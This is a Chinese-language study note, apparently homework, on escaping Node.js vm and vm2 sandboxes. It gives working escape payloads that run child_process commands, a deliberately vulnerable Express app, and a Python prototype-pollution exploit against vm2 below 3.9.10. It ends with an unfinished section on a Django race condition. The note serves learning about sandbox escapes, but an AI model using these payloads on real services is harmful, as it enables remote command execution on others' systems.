目录
沙箱逃逸
原理
当this指向window
1.this直接指向window,拿到window的tostring的constructor来利用构造函数拿到process
是对象且指向沙箱外部,才可以利用
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
当this指向null,且没有其他对象可用
使用arguments.callee.caller在沙盒内定义一个函数并返回,让外部对象调用这个函数,此时arguments.callee就是该对象了,然后再用constructor利用构造函数拿到process
arguments.callee就是调用函数本身(可以理解成等于函数本身,但没有指向)
arguments.caller就是指谁调用了自己(指向一个函数)
arguments.callee.caller就是指向了某个调用自己的方法,这样就可以通过处在沙箱外的这个方法的构造函数拿到process了
第一种触发方法
此时要触发这个tostring方法,就需要沙箱外有执行字符串的相关操作,
可以console.log('hello' + res),来利用拼接的方式让res变成一个字符串
因为在js中,例如this、对象等和字符串拼接都会自动调用tostring方法然后变成一个字符串
自然就触发了tostring方法了
const vm = require('vm');
const script =`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello'+res);
第二种触发方法
用proxy来劫持所有属性,只要沙箱外使用了例如console.log(res.xxx)就会被proxy劫持,然后就会触发上述代码
const vm = require('vm');
const script =`(() => {
const a = new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
})
return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.xx);
第三种触发方法
利用异常处理,把沙箱内的对象跑出去,然后让外部捕捉异常,也可以触发
vm = require('vm');
const code5 = `throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
}) `;
try { vm.runInContext(code5, vm.createContext(Object.create(null))); }
catch(e)
{ console.log('error happend: ' + e); }
漏洞复现
import逃逸结合原型污染
1.
条件:
vm2版本:3.9.10以下
源码:
const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
思路:看到vm说明处在沙箱中,要逃逸出沙箱就得找到一个外部对象
看到post提交这里,要执行backdoor函数,就要满足条件:
要有shit,且shit值为1
根据源码显示,body又是用户输入的,然后利用clone函数里的merge结合赋给一个空对 象,那么就可以污染空对象的原型,加上一个shit属性值为1.
这样就能触发backdoor了
app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } })
现在看backdoor函数:
空对象里有一个shellcode属性,在上面我们已经可以污染空对象的原型了,那就继续添加一个shellcode属性,值就要逃逸出沙箱了,可以使用import来动态导入对象
注:3.9.10以后的版本已经通过将import过滤修复了
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
利用python发送post:
import requests import json url = "http://127.0.0.1:3000/" headers = {"Content-type": "application/json"} data = {"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}} req = requests.post(url=url, headers=headers, data=json.dumps(data)) print(req.text)
复现成功:
竞争性漏洞(未完成)
环境:利用django搭建项目,参考官方文档:GitHub - cookiecutter/cookiecutter-django: Cookiecutter Django is a framework for jumpstarting production-ready Django projects quickly.
官方文档-本地配置:
Getting Up and Running Locally — Cookiecutter Django 2023.31.3 documentation
访问页面:
登录后:
暂时到这一步,未复现成功,先提交作业,后面做好了继续修改